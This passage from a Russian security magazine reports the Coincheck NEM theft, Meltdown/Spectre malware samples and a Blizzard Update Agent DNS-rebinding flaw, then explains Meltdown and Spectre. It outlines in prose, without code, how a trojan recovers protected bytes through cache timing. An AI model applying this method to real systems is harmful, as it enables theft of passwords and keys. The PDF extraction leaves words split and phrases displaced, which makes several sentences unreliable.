ровать слу чив шееся и заявил, что с безопас ностью NEM все в пол ном поряд‐ 
ке,  а  вина  за  инци дент  пол ностью  лежит  на  Coincheck.  По  мне нию  Вон га,
если  бы  бир жа  не  пре неб регала  кон трак тами  с  муль типод писью,  ничего
подоб ного бы не про изош ло.

По пыт ки Вон га про яснить ситу ацию впол не понят ны. Дело в том, что крип‐ 
товалю та NEM замет но потеря ла в цене сра зу пос ле сооб щения об инци ден‐ 
те (см. гра фик ниже).

Ди нами ка цен NEM

Спус тя нес коль ко дней пред ста вите ли Coincheck завери ли, что всем пос тра‐ 
дав шим будет вып лачена ком пенса ция. В общей сум ме опе рато ры Coincheck
пок роют  более  400  мил лионов  дол ларов  убыт ков,  исхо дя  из  рас‐ 
чета  88,549  иены  (при мер но  0,81  дол лара)  за  каж дую  похищен ную  монету
NEM. Точ ные даты вып латы ком пенса ций пока не были наз ваны.

Раз работ чики  NEM  Foundation,  в  свою  оче редь,  уве ряют,  что  ока зыва ют
всю  воз можную  помощь  пос тра дав шей  бир же  и  пра воох ранитель ным  орга‐ 
нам,  которые  уже  занима ются рас сле дова нием слу чив шегося. Спе циалис ты
сооб щили,  что  пла ниру ют  прис таль но  отсле живать  все  укра ден ные  у  Co‐
incheck средс тва, что бы не дать зло умыш ленни кам скрыть ся с наг раблен ным
в неиз вес тном нап равле нии.

ОБ НАРУЖЕ НО БОЛЕЕ 130 ВРЕ ДОНОС НЫХ ОБРА ЗОВ
КОДА, ЭКС ПЛУ АТИ РУЮЩИХ MELTDOWN И SPECTRE

Эк спер ты ком паний AV‐TEST пре дуп редили, что прес тупни ки уже раз рабаты вают мал варь, экс‐ 
плу ати рующую  гло баль ные  уяз вимос ти  Meltdown  и  Spectre.  Ана лити ки  обна ружи ли    вре‐ 
донос ных обра зов, свя зан ных с исполь зовани ем «про цес сорных» багов. Эти кон цепты ори енти‐ 
рова ны  на  раз ные  плат формы  (Windows,  Linux  и macOS),  а  так же  сре ди  них  были  замече ны
JavaScript PoC‐экс пло иты для бра узе ров, вклю чая IE, Chrome и Firefox.
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По ка  все фак ты  ука зыва ют  на  то,  что боль шинс тво  сра баты ваний про исхо дит  из‐за дей ствий
самих ИБ‐спе циалис тов, которые про дол жают изу чать проб лему. Одна ко экспер ты опа сают ся,
что раз работ чики мал вари тоже тру дят ся не пок ладая рук, и опре делен ный про цент обна ружен‐ 
ных PoC уже может при над лежать «перу» кибер прес тупни ков.

АГЕНТ BLIZZARD ПОД
УГРОЗОЙ
Сот рудник  Google  Project  Zero  Тевис  Орманди  обна ружил  опас ную  уяз‐ 
вимость в сос таве Blizzard Update Agent, из‐за которой мил лионы пок лонни‐ 
ков игр ком пании Blizzard Entertainment (World of Warcraft, Overwatch, Diablo III,
Hearthstone, Starcraft II) мог ли стать жер тва ми зло умыш ленни ков.

Для  кор рек тной  работы  игр  ком пании  Blizzard  Entertainment  тре бует ся
уста новить спе циаль ный «агент обновле ний» (Blizzard Update Agent), который
запус кает  на  компь юте ре  игро ка  сер вер  JSON‐RPC,  работа ющий  с  HTTP
и пор том 1120. Он при нима ет коман ды на уста нов ку, уда ление и изме нение
нас тро ек и обновле ние свя зан ных с ним про дук тов.

Ор манди обна ружил, что Blizzard Update Agent уяз вим перед ата ками типа
DNS Rebinding, то есть зло умыш ленни ки могут выдать любой сайт за «мост»
меж ду  сер вером  Blizzard  и  кли ентом  жер твы.  Таким  обра зом  прес тупни ки
получа ют  воз можность  отпра вить  Blizzard  Update  Agent  про изволь ный  файл
под видом игро вого обновле ния.

Проб лема  была  най дена  еще  в  начале  декаб ря  2017  года,  а  22  декаб‐ 
ря 2017 года раз работ чики Blizzard Entertainment зак рыли уяз вимость. Одна ко
Орманди  счи тает,  что  инже неры  ком пании  не  ста ли  прис лушивать ся  к  его
советам  и  фак тичес ки  прер вали  обще ние  пос ле  устра нения  бага  (даже
не сооб щив,  что  устра нили его). Иссле дова тель недово лен  тем,  как имен но
сот рудни ки Blizzard Entertainment решили дан ную проб лему.

Так,  патч  для  Blizzard  Update  Agent  (вер сия  5996)  исполь зует  слиш ком
слож ный метод устра нения бага: теперь Blizzard Update Agent берет имя при‐ 
ложе ния, отправ ляюще го коман ды сер веру JSON‐RPC, вычис ляет 32‐бит ный
хеш  FNV‐1a,  а  затем  срав нива ет  со  спис ком  при ложе ний,  которым  не  раз‐ 
решено обра щать ся к JSON‐RPC. Бра узер, судя по все му, находит ся в чер‐ 
ном спис ке.

«Я пред лагал исполь зовать „белый спи сок“ для имен хос тов, но, оче- 
вид но,  это решение было слиш ком эле ган тным и прос тым, — пишет
Орманди.  —  Я  недово лен  тем,  что  Blizzard  выпус тила  патч,  не  уве- 
домив  меня  и  не  посове товав шись  по  это му  воп росу.  Оче вид ная
недора бот ка  в  этой  схе ме  зак люча ется  в  том,  что  чер ный  спи сок
необ ходимо под держи вать и допол нять, так что я ожи даю, что со вре- 
менем он отка жет или проб лемы воз никнут у поль зовате лей необыч- 
ных бра узе ров».

Пред ста вите ли Blizzard Update Agent отре аги рова ли на рас кры тие информа‐ 
ции об уяз вимос ти и кри тику Орманди, сооб щив, что занима ются раз работ‐ 
кой более эффектив ного пат ча.

→«Мы были оше лом лены тем, как быс тро наше решение наш ло широкий отклик. Огля дыва ясь
назад,  могу  ска зать,  что  мы  были  весь ма  наив ны,  ког да  стро или  теории  о  том,  как  будет
исполь зовать ся наш май нер. Мы счи тали, что боль шинс тво сай тов будут исполь зовать Coinhive
откры то,  поз воляя  поль зовате лям  решать,  запус кать  ли  его  ради  каких‐то  бонусов,  как  пос‐ 
тупили мы сами во вре мя тес тирова ния на pr0gramm.com перед запус ком. Но в пер вые же дни
пос ле появ ления Coinhive все пош ло совер шенно не так. Теперь дос таточ но обра тить ся к поис‐ 
ку Google, и вы най дете мно жес тво инс трук ций для „уда ления вируса Coinhive“. Все про изво‐ 
дите ли анти виру сов уже занес ли нас в чер ные спис ки. Не думаю, что наша репута ция мог ла бы
стать нам ного хуже, чем сей час»

, пожелав ший сох ранить инкогни то, о май нин ге
через бра узе ры и зло умыш ленни ках, испортив ших репута цию про екта
— один из раз работ чиков сер виса Coinhive

https://xakep.ru/2018/01/09/wap3/
https://xakep.ru/2017/04/06/creators-update-privacy/
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COVERSTORY

Са мый  боль шой  подарок  всем  хакерам  пре под несли
в  новогод ние  праз дни ки  экспер ты  по  безопас ности.  Они
наш ли  фун дамен таль ные  недос татки  в  архи тек туре  сов‐ 
ремен ных  про цес соров.  Исполь зуя  эти  уяз вимос ти,  лег ко
нарушить  изо ляцию  адресно го  прос транс тва,  про читать
пароли,  клю чи  шиф рования,  номера  бан ков ских  карт,  про‐ 
изволь ные  дан ные  сис темных  и  дру гих  поль зователь ских
при ложе ний в обход любых средств защиты и на любой ОС.

КОРЕНЬ ПРОБЛЕМЫ
Из началь но в бло ге Google Project Zero   об успешной реали зации
трех вари антов ата ки на кеш про цес сора:

со обща лось

зло наме рен ная заг рузка дан ных в кеш;•
об ход гра ниц мас сива;•
инъ екция целевой вет ви.•

Фор маль но  их  опи сали  как  две  сход ные  уяз вимос ти  —  Meltdown  (пер вый
вари ант ата ки) и Spectre (вто рой и тре тий вари анты). Сце нарии их прак тичес‐ 
кого  исполь зования  зависят  от  мик роар хитек туры  ЦП  и  опе раци онной  сис‐ 
темы,  в  раз ной  сте пени  зат рагивая  про изво дите лей  железа,  облачных  про‐ 
вай деров и сооб щес тво Linux.

Ав торы  иссле дова ния  зна ли  о  проб леме  дав но.  1  июня  2017  года  они
отпра вили свои отче ты в  Intel, AMD и ARM, пообе щав не пуб ликовать детали
до тех пор, пока раз работ чики не выпус тят пат чи. Одна ко про изош ла утеч ка
информа ции, из‐за  которой им приш лось обна родо вать под робнос ти рань‐ 
ше.

Уяз вимос ти  име ют  мно го  сход ных  черт  на  кон цепту аль ном  уров не.  Обе
дела ют воз можным  , исполь‐ 
зуя недос татки физичес кой реали зации про цес соров. Впер вые дан ный класс
атак   Пол Кёхер (Paul Köcher) еще в 1996 году при мени тель‐ 
но к популяр ным крип тосис темам. Он так же выс тупил соав тором иссле дова‐ 
ния Meltdown и Spectre.

про веде ние ата ки по сто рон нему каналу

под робно опи сал

На  сегод ня  про демонс три рова но  три  базовых  сце нария  исполь зования
этих  уяз вимос тей,  которые  мы  под робнее  раз берем  ниже.  Важ но  то,  что
во всех вари антах конеч ной целью атак явля ется кеш. Раз ными улов ками про‐ 
цес сор  вынуж дают  кеширо вать  зна чение  бай та  из  адре са  памяти,  недос‐ 
тупно го вре донос ному про цес су.

Об рати вни мание:   (он не может
читать  кеш  в  про изволь ном  мес те).  Вмес то  это го  он  вычис ляет  оши боч но
закеши рован ные  бай ты  уже  в  сво ем  адресном  прос транс тве,  прос то 

 в раз ных стро ках заранее соз данно го мас сива.

злов ред не счи тыва ет сами дан ные

из- 

меряя задер жки чте ния

По сути Meltdown и Spectre — это  .
Основная раз ница меж ду ними сос тоит в том, как они вызыва ют кеширо вание
дан ных  из  защищен ных  стра ниц  памяти.  Meltdown  поль зует ся  задер жкой
в обра бот ке  исклю чения,  а Spectre  обма ныва ет  бло ки  пред ска зания.  Что бы
понять эти детали, нуж но осве жить в памяти базовое устрой ство про цес сора.

раз новид ность ата ки по вре мени

БОМБА ЗАМЕДЛЕННОГО ДЕЙСТВИЯ
Са ма  идея  вне оче ред ного  исполне ния  инс трук ций  была  пред ложена  IBM
в 1963 году. Рядовые поль зовате ли стол кну лись с ней толь ко в 1995 году, ког‐ 
да появил ся пер вый Pentium Pro. С тех пор линей ный кон вей ер канул в Лету,
а  все  сов ремен ные  про цес соры  исполь зуют  архи тек туру  с  вне оче ред ным
(out‐of‐order) и одновре мен но упрежда ющим (или спе куля тив ным — specula‐
tive) механиз мом исполне ния команд.

Как же это работа ет? Для прог раммис та все выг лядит прос то. Он отпра‐ 
вил оче редь инс трук ций на вход и получил ее исполне ние на выходе. Одна ко
внут ри  про цес сора  тво рит ся  своя  магия.  Сов ремен ное  про цес сорное  ядро
исполь зует мно гоуров невый кон вей ер с нелиней ными путями. Все вхо дящие
инс трук ции в нем кеширу ются и декоди руют ся по нес коль ку штук за такт. Они
дро бят ся  на мик роопе рации,  которые  пере упо рядо чива ются  в  собс твен ном
буфере  (ROB,  Re‐Order  Buffer).  Ни  одна  из  них  не  работа ет  с  реаль ными
адре сами  памяти  и физичес кими регис тра ми  про цес сора. Блок  управле ния
памятью  тран сли рует  вир туаль ные адре са и опре деля ет парамет ры дос тупа
к ним.

Пос ле  ROB  мик роопе рации  отправ ляют ся  в  стан цию  резер вации,  где
обра баты вают ся  парал лель но  на  раз ных  исполни тель ных  бло ках.  Вдо бавок
сов ремен ные  про цес соры  исполь зуют  раз ные  типы  кешей  для  уско рения
обра бот ки дан ных, изна чаль но заг ружа емых в не слиш ком быс трую опе ратив‐ 
ную  память.  Прос тей ший  кеш  для  инс трук ций  при менял ся  еще  в  1982  году,
а кеш дан ных исполь зует ся с 1985 года. Сей час они оба отно сят ся к базово‐ 
му кешу пер вого уров ня (L1), помимо которо го появи лись L2 и L3 обще го наз‐ 
начения.

Бло ковая диаг рамма кон вей ера Intel Skylake / Kaby Lake (источник:
wikichip.org)

Все  эти  архи тек турные  наворо ты  соз давались  для  умень шения  вре мени
прос тоя отдель ных исполни тель ных бло ков про цес сора. Пока один блок ожи‐ 
дает  заг рузки  дан ных  из  опе ратив ной  памяти  для  сво ей  инс трук ции,  дру гой
парал лель но обра баты вает сле дующие. В этом ему помога ет MMU (Memory
Management  Unit)  и  общая  архи тек тура  кон вей ера,  который  ста рает ся
работать на упрежде ние и пос тоян но под гру жает наибо лее вос тре бован ные
дан ные в кеш.

  сос тоит  в  том,  что  в  боль шинс тве
про цес соров все про вер ки легитим ности исполне ния инс трук ций и даже кон‐ 
троль за раз делени ем дос тупа к памяти в самом MMU про исхо дят уже на зак‐ 
лючитель ном  эта пе  обра бот ки  инс трук ций,  ког да  начина ется  выс тра ива ние
про межу точ ных резуль татов в поряд ке исходной оче реди команд. Зап рещен‐ 
ные  опе рации  игно риру ются  (вызыва ют  исклю чение),  а  невос тре бован ные
дан ные  при  этом  оста ются  в  кеше. 

.

Клю чевой  момент  в  этой  схе ме

Собс твен но,  это  и  есть  глав ная

проб лема

В боль шей мере задер жка ми в про вер ке усло вий и длин ным забега нием
впе ред по вет вям инс трук ций гре шат про цес соры Intel с длин ным кон вей ером
(кро ме  Itanium  и  пер вых  Atom),  но  AMD  и  даже  ARM  это  тоже  каса ется  —
прос то в экс пло итах для них пот ребу ется более точ ный тай мер, дру гие раз‐ 
меры  мас сивов  и  тех ники  забива ния  кеша.  Если  Meltdown  для  них  пока
не смог ли убе дитель но вос про извести, то Spectre — впол не.

Бло ковая диаг рамма кон вей ера AMD Zen (источник: wikichip.org)

Це лых  27  лет  ведущие  раз работ чики  счи тали,  что  ско рость  обра бот ки  инс‐ 
трук ций важ нее безопас ности, а все про вер ки мож но делать уже пос ле проб‐ 
ного исполне ния команд «на выходе» из кон вей ера. В том или ином виде вне‐ 
оче ред ное  исполне ние  сегод ня  реали зова но  во  всех  про цес сорах.  Из‐за
парал лель ной работы исполни тель ных бло ков задер жка в обра бот ке исклю‐ 
чения, лаг MMU и очис тки кеша тоже есть всег да, прос то в слу чае мик роар‐ 
хитек туры Core они замет нее и ими про ще вос поль зовать ся.

MELTDOWN
Эту    незави симо  друг  от  дру га  опи сали  спе циалис ты  из  Google
Project Zero, Cyberus Technology и Грац ско го тех ничес кого уни вер ситета (Авс‐ 
трия),  а  так же  упо мяну тый  выше  крип тограф  Пол  Кёхер.  Вмес те  они  обна‐ 
ружи ли уни вер саль ный спо соб, поз воля ющий обой ти раз гра ниче ние адре сов
поль зователь ских и сис темных про цес сов в памяти.

уяз вимость

3 янва ря 2018 года они опуб ликова ли опи сание уяз вимос ти «зло наме рен‐ 
ная  заг рузка  дан ных  в  кеш»  ,  которая  и  получи ла  наз вание
Meltdown из‐за  того,  что «рас плав ляет» раз гра ниче ние дос тупа к стра ницам
памяти. Она наруша ет базовый механизм безопас ности из‐за вне оче ред ного
исполне ния  про цес сорных  инс трук ций  и  упрежда ющей  заг рузки  дан ных
в кеш.

CVE‐2017‐5754

Суть ата ки такова.
1. Злов ред запус кает ся и очи щает про цес сорный кеш.
2. Он  соз дает  в  опе ратив ной  памяти  мас сив  из  256*4096  эле мен тов.
Номера строк мас сива отра жают все воз можные зна чения одно го бай та (0
–  255).  Мас сив  точ но  не  попада ет  в  кеш  из‐за  раз мера  и  потому,  что
к нему еще не обра щались.

3. Тро ян объ явля ет перемен ную   и про сит записать в нее зна чение бай‐ 
та,  хра няще гося  по  зак рытому  для  него  адре су  дру гого  про цес са.  Так
делать нель зя, но, пока MMU это выяс нит, кон вей ер обра бота ет инс трук‐ 
цию на упрежде ние и под тянет зап рошен ные дан ные в кеш.

tmp

4. За тем тро ян начина ет выбор ку из сво его мас сива, под став ляя в качес тве
номера стро ки зна чение перемен ной  . Так тоже делать нель зя, но про‐ 
вер ка усло вия вновь отло жена, а зап рошен ная стро ка кеширу ется.

tmp

5. Две пос ледние опе рации в ито ге заб локиру ются, и вер нется исклю чение,
но преж де из‐за вне оче ред ного исполне ния инс трук ций будут обра бота ны
зап рещен ные коман ды тро яна и кеширо ваны зап рошен ные им дан ные.

6. Про цес сор  прос то  отка жет ся  затем  тран сли ровать  их  тро яну,  узнав
от MMU о ссыл ке на защищен ную область памяти, но не уда лит их из кеша.

7. До обра бот ки исклю чения тро ян успе ет выпол нить легаль ную опе рацию —
чте ние  из  ранее  соз данно го  мас сива,  замеряя  вре мя  получе ния  каж дой
стро ки.  Толь ко  стро ка,  чей  номер  соот ветс тву ет  кеширо ван ному  зна‐ 
чению, про чита ется быс трее дру гих. Осталь ные будут заг ружать ся из опе‐ 
ратив ной памяти в разы мед леннее.

Пос ледова тель но  выпол няя  ата ку  для  дру гих  адре сов,  мож но  вос создать
в  адресном  прос транс тве  тро яна  пол ную  копию  пароля,  клю ча  или  дру гих
дан ных в памяти, дос туп к которым заб локиро ван.

Вот как выг лядит одна из прак тичес ких реали заций ата ки:

Фор маль но никаких наруше ний безопас ности при этом не про исхо дит. Тро ян
выпол няет  чте ние  толь ко  из  сво его  адресно го  прос транс тва,  получая  отказ
при  попыт ке  дос тупа  к  памяти  дру гих  про цес сов.  Прос то  обра бот ка  исклю‐ 
чения  про исхо дит  не  сра зу,  а  зап рошен ные  дан ные  кеширу ются.  Раз ница
во вре мени чте ния собс твен ных дан ных поз воля ет тро яну узнать, какое зна‐ 
чение про цес сор кеширо вал, но не дал про читать нап рямую.

SPECTRE
Уяз вимость    была  сов мес тно  опи сана  десятью  авто рами. Сре ди  них
есть иссле дова тели Meltdown, работу которых допол нили экспер ты из отде ла
крип тогра фии Rambus и раз ных уни вер ситетов.

Spectre

Дан ная ата ка более  уни вер саль на и потен циаль но име ет нес коль ко сце‐ 
нари ев реали зации. Авто ры при водят два наибо лее оче вид ных:
1. Про вер ка обхо да гра ниц мас сива  .CVE‐2017‐5753
2. Инъ екция целевой вет ви  .CVE‐2017‐5715

Вспо миная выше устрой ство про цес сора, мы намерен но про пус тили важ ные
эле мен ты:  модуль  пред ска зания  вет вле ний  (branch  prediction  unit)  и  блок
пред ска зания  адре са  (branch  target  predictor),  как  несущес твен ные
для  понима ния механиз ма  ата ки Meltdown. Одна ко  на манипу ляци ях  с  ними
осно ваны раз ные сце нарии исполь зования Spectre.

Ес ли сре ди инс трук ций встре чает ся условный переход (if, switch), а в кон‐ 
вей ере есть сво бод ные исполни тель ные бло ки (прак тичес ки всег да), то вари‐ 
анты  вет вле ния  начина ют  обра баты вать ся  еще до реаль ной  про вер ки  усло‐ 
вия.  Это  эко номит  вре мя,  потому  что  обыч но  для  про вер ки  тре бует ся  пот‐ 
ратить  сот ни  про цес сорных  так тов  на  заг рузку  дан ных,  которые  находят ся
где‐то в опе ратив ной памяти или вооб ще лежат в сво пе на дис ке.

Про цес сору быс трее прос читать наибо лее веро ятный вари ант вет вле ния
заранее, а потом под ста вить его целиком или пол ностью отбро сить невер ную
ветвь, если вдруг пред ска зание ока жет ся невер ным. При этом все, что успе ло
под тянуть ся в кеш, в нем и оста ется.

Проб лема  сос тоит  в  том,  что  для  пред ска зания  вет вле ний  исполь зует ся
ста тис тичес кая  модель.  Про цес сор  каж дый  раз  запоми нает  резуль тат  про‐ 
вер ки  типово го  усло вия  и  в  зависи мос ти  от  это го  реша ет,  какое  вет вле ние
алго рит ма  будет  ста тис тичес ки  более  веро ятным,  начиная  вне оче ред ное
исполне ние инс трук ций выб ранной вет ви.

Сре ди  этих  инс трук ций  может  быть  что  угод но,  вклю чая  чте ние  клю ча
по извес тно му адре су в памяти. Тро ян  такое дей ствие выпол нить не может,
но он спо собен спро воци ровать кеширо вание клю ча самой легитим ной прог‐ 
раммой, прос то нат рениро вав пред ска затель вет вле ния.

Код сов ремен ных прог рамм име ет мно го шаб лонных фраг ментов, поэто му
обыч но  у целевой прог раммы  (нап ример, популяр ного менед жера паролей)
мож но  най ти  какой‐то  стан дар тный  кусок  кода  с  поль зователь ским  вво дом
и условным перехо дом.

Для  пер вого  вари анта  реали зации  Spectre  пишет ся  мал варь,  в  которой
будет учас ток  кода, сход ный с целевым. Он «тре ниру ет» пред ска затель вет‐ 
вле ний,  зас тавляя  его  мно го  раз  про верять  валид ность  усло вия,  ана логич‐ 
ного перехо ду в ата куемой прог рамме.

В сво ей (вре донос ной) прог рамме мы можем сде лать так, что выб ранное
усло вие  всег да  будет  истинным.  Ког да  накопит ся  дос таточ ная  ста тис тика
условных  перехо дов,  блок  пред ска зания  вет вле ния  нач нет  счи тать,  что
это типовое усло вие, которое в боль шинс тве слу чаев про ходит про вер ку.

При обра бот ке инс трук ций ата куемой прог раммы поведе ние «нат рениро‐ 
ван ного»  пред ска зате ля  вет вле ний  ста нет  ана логич ным.  Если  теперь  в  ней
задать  невер ное  усло вие  (нап ример,  ввес ти  невер ный  мас тер‐пароль),  то
она все рав но нач нет выпол нять его как истинное. Потом, конеч но, опом нится
и сбро сит кон вей ер, замол чав как пар тизан, но оши боч но зап рошен ные дан‐ 
ные (ключ рас шифров ки) оста нут ся в кеше.

Тех ника  их  получе ния  злов редом  из  кеша  ана логич на  рас смот ренной
в ата ке Meltdown с той лишь раз ницей, что тро ян вооб ще не обра щал ся к заб‐ 
локиро ван ной  для  него  области  памяти.  Он  лишь  натас кал  пред ска затель
перехо дов  так,  что  уже  легитим ная  прог рамма  сама  потащи ла  в  кеш  кон‐ 
фиден циаль ные дан ные, не успев про верить типовое усло вие.

Вто рая  раз новид ность  ата ки  Spectre  выг лядит  очень  похоже.  Раз ница
лишь в  том, что вмес то модуля пред ска зания вет вле ний «тре ниру ется» блок
пред ска зания адре са с собс твен ным буфером. Фак тичес ки ата ка идет на кеш
через branch target buffer. Он под став ляет вир туаль ные адре са, которые нуж‐ 
ны  для  выпол нения  кос венных  перехо дов.  Они  выпол няют ся  по  какому‐то
типово му усло вию, которое мы ими тиру ем в сво ей прог рамме.

Пос ле серии пов торений буфер забива ется, а блок пред ска зания адре са
начина ет  счи тать,  что  такой  учас ток  кода  (gadget  в  тер миноло гии  авто ров
иссле дова ния) всег да при водит к кос венно му перехо ду по ука зан ному адре‐ 
су… и начина ет заранее счи тывать из него дан ные в кеш.

Пос коль ку  бло ки  пред ска зания  и  кеш  есть  прак тичес ки  во  всех  про цес‐ 
сорах, ата ка Spectre зат рагива ет еще боль ше раз ных архи тек тур. Пока прак‐ 
тичес кого под твержде ния нет раз ве что для MIPS и «Эль бру са», но это еще не
озна чает  их  неуяз вимос ти.  Прос то  сце нарий  ата ки  может  ока зать ся  менее
явным.
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MELTDOWN И SPECTRE
РАЗБИРАЕМ ФУНДАМЕНТАЛЬНЫЕ
УЯЗВИМОСТИ В ПРОЦЕССОРАХ

COVERSTORY  НАЧАЛО СТАТЬИ←

КОНСПИРОЛОГИЧЕСКИЕ ТЕОРИИ
Не кото рые  обоз ревате ли  счи тают  най ден ную  уяз вимость  тро янской  зак‐ 
ладкой, оставлен ной в про цес сорах мно го лет назад. Как говори лось в 

, основное усло вие эффектив ной зак ладки — ее мас‐ 
совость. В слу чае с Meltdown и Spectre дан ное усло вие выпол няет ся на 101%.

этой
показа тель ной исто рии

Ав торы  иссле дова ния  допус кают,  что  они  далеко  не  пер вые,  кто  обна‐ 
ружил  эту  осо бен ность.  К  при меру,  осенью  2008  года  Николай  Лихачёв
(извес тный  под  псев донимом Крис  Кас пер ски)  готовил ся  выс тупить  на  кон‐ 
ферен ции Hack In The Box с док ладом о най ден ной им уяз вимос ти, поз воля‐ 
ющей  взла мывать  компь юте ры  на  базе  про цес соров  Intel  вне  зависи мос ти
от исполь зуемой опе раци онной сис темы. Зву чит похоже, не прав да ли?

«Про цес соры  содер жат  недора бот ки,  которые  поз воля ют  исполь зовать
уяз вимос ти как непос редс твен но сидя за компь юте ром, так и дис танци онно,
вне зависи мос ти от  уста нов ленных обновле ний и при ложе ний», — писал он
в анон се. Одна ко док лад так и не был пред став лен. Крис уле тел в США, стал
работать  на  под кон троль ную  Intel  ком панию  McAfee,  а  поз же  раз бился
при стран ных обсто ятель ствах.

Ес ли наточить брит ву Окка ма поос трее, то вни мание на себя обра тит дру‐ 
гой факт:  уже дав но пред полага лось,  что вне оче ред ное исполне ние  команд
под рыва ет  базовое  раз гра ниче ние  при виле гий,  извес тное  как  коль ца
защиты. Суть этой модели безопас ности в том, что отдель ные про цес сорные
инс трук ции  могут  выпол нять ся  толь ко  в  наибо лее  при виле гиро ван ном
нулевом коль це, где влас тву ет ядро ОС (а так же прод винутые отладчи ки вро‐ 
де SoftIce и рут киты уров ня ядра).

Сле дующие  коль ца  с  номера ми  один  и  два  менее  при виле гиро ван ные.
Они  отда ны  драй верам,  а  так же  гипер визорам,  эму лято рам,  песоч ницам
и  про чим  сис темам  вир туали зации.  Что  имен но  там  будет  выпол нять ся  —
зависит от ОС. Нап ример, Windows 7 вооб ще не исполь зует пер вое и вто рое
коль цо, огра ничи ваясь нулевым и треть им.

В  любой ОС  все  поль зователь ские  про цес сы  запус кают ся  в  неп ривиле‐ 
гиро ван ном  (обыч но  пос леднем)  коль це  защиты. В  реаль ной ОС они обра‐ 
щают ся к сис темным про цес сам и физичес ким устрой ствам через драй веры,
а  в  вир туаль ной —  через  гипер визоры,  ког да  им  нуж но  выпол нить  какую‐то
из  зарезер вирован ных  инс трук ций.  Ядро  ОС  про веря ет  легитим ность  сис‐ 
темных вызовов  (syscalls) и выпол няет либо откло няет зап росы при ложе ния.
Что бы  далеко  не  бегать  за  дан ными  для  про вер ки,  их  час то  помеща ют
в  сосед ний  диапа зон  вир туаль ной  памяти,  выделя емой  поль зователь ско му
про цес су. Прос то  у  него сто ит бит‐иден тифика тор при виле гий  уров ня  ядра,
и про читать их нап рямую про цесс из userspace не может.

Нап ример, ядро заб локиру ет для при ложе ния   или 
чте ние из опе ратив ной памяти по адре сам, ранее выделен ным для 

. Тро ян оста нет ся в сво ей песоч нице и не про чита ет пароли из бра узе ра
с  нас кока.  Что бы  сде лать  это,  ему  приш лось  бы  исполь зовать  какой‐то
обходной путь. Нап ример, отдель ный лоадер, который внед рит DLL в про цесс

,  повысит  при виле гии  тро яна  в  обход  sandbox,  UAС  и  про чих
защит ных  механиз мов.  На  про изволь ной  сис теме  это  сде лать  доволь но
слож но,  поэто му  про ще  исполь зовать  соци аль ную  инже нерию  и  спро воци‐ 
ровать поль зовате ля  выпол нить необ ходимые авто ру  тро яна дей ствия вруч‐ 
ную. Это был при ори тет ный механизм ата ки до появ ления Meltdown и Spectre.

trojan.exe malware.js
chrome.

exe

chrome.exe

С  новыми  уяз вимос тями  тро яну  боль ше  не  нуж но  идти  слож ным  путем
или рас счи тывать на бес печность поль зовате ля. Вмес то это го он исполь зует
вне оче ред ное  исполне ние  про цес сорных  инс трук ций  для  того,  что бы
получить в сво ей области памяти копию дан ных по любому заб локиро ван ному
адре су.

РЕАКЦИЯ ВЕНДОРОВ И ПАТЧИ-КОСТЫЛИ
Ре акция  на  известие  о  фун дамен таль ных  уяз вимос тях  в  про цес сорах  ока‐ 
залась уди витель ной. Исполни тель ный дирек тор  Intel Брай ан Кржа нич  (Brian
Krzanich)  узнал  о  проб леме  летом  2017  года  и 

 сво ей ком пании. К нояб рю 2017 года у него оста лась толь ко обя‐ 
затель ная  доля,  которую  нель зя  про дать  по  усло виям  кон трак та.  Пред ста‐ 
вите ли  Intel  дол го  отри цали  наличие  каких‐либо  проб лем  с  про цес сорами,
потом  называ ли  их  несущес твен ными,  а  еще  поз же  —  неохот но  приз нали,
опуб ликовав попол няемый  , на которых уяз вимость под‐ 
твер дилась.

на чал  про давать  боль шую
часть акций

спи сок про цес соров

AMD  ,  что  архи тек турные  отли чия  ее  про цес соров  вряд  ли  поз‐ 
воля ют в реаль ных усло виях выпол нить ата ку Meltdown и вто рой вари ант ата ки
Spectre. Поэто му  ком пания пред лага ет  уста новить пат чи от про изво дите лей
ОС и ПО, но толь ко для зак рытия потен циаль ной уяз вимос ти Spectre пер вого
типа.  Основной  аргу мент  —  авто ры  иссле дова ния  не  про веря ли  Meltdown
на сис темах с AMD, а боль ше ник то не жаловал ся.

за яви ла

Microsoft  выпус тила  .  Для  дру гих  вер сий  Windows
наборы  исправ лений  мож но  заг рузить  вруч ную  ,  одна ко  не  спе ши
это делать.

патч  для  Windows  10
от сюда

Про KB4056892 уже пишут, что оно   при заг рузке мно‐ 
гих компь юте ров с про цес сорами AMD (в час тнос ти, серии Athlon 64 X2). Его
мож но  отка тить  (если  ранее  была  соз дана  точ ка  вос ста нов ления),  а  затем
отклю чить авто мати чес кое обновле ние через gpedit.

вы зыва ет зависа ние

В  Linux  проб лему  Meltdown  час тично  решили  набором  пат чей  .  Их
не  рекомен дует ся  уста нав ливать  для  сис тем  с  про цес сорами  AMD...  а  то
мало ли.

KPTI

Бо лее  гло баль ный  под ход  к  пере осмысле нию  механиз мов  изо ляции
адресно го прос транс тва в Linux обсужда ется  .здесь

Apple сде лала   о том, что «…все сис темы Mac и iOS
уяз вимы, одна ко пока не наб людалось реаль ных атак. На вся кий слу чай заг‐ 
ружай те  софт  толь ко  из  доверен ных  источни ков,  таких  как  App  Store».
Рекомен дация  выг лядела  бы  логич но,  если  бы  не  тро яны,  которых  уже 

 в App Store.

ла конич ное заяв ление

на‐ 
ходи ли

Об новле ния  готовы  для  ,    и  ,  одна ко  пос ле
уста нов ки све жих апдей тов на macOS 10.3.2 экс пло ит для Spectre по‐преж‐ 
нему работа ет.

iOS  11.2 macOS  10.13.2 Safari

PoW Spectre на macOS

Счи тает ся, что WatchOS не тре бует пат чей, пос коль ку в Apple Watch исполь‐ 
зует ся про цес сор Apple S1, на котором пока не уда лось реали зовать ни один
из вари антов ата ки Meltdown и Spectre.

Google  сос лалась  на  свой  про ект  Zero  и  выпус тила 
. Как обыч но, ког да они ста нут дос тупны поль зовате лям смар тфо‐ 

нов и  план шетов  вне серий Nexus и Pixel — оста ется на  совес ти  сто рон них
про изво дите лей.  При  этом  ком пания  отло жила  исправ ления  в  бра узе ре
Chrome до 23 янва ря — даты выхода вер сии за номером 64.

об новле ния
для Android

ARM пред ста вила  ,  ука зав в  таб лице модели с под‐ 
твержден ными сце нари ями атак и ссыл ки на пат чи.

спи сок уяз вимых SoC

Лег ко  видеть,  что  в  этот  спи сок не  вхо дят  ста рые ядра ARM без вне оче‐ 
ред ного  исполне ния  инс трук ций.  Они  ожи даемо  ока зались  иммунны ми
к Meltdown и Spectre, пос коль ку ата ки  такого рода не работа ют без вне оче‐ 
ред ного  исполне ния  команд.  Нап ример,  это  популяр ные  Cortex‐A7,  Cortex‐
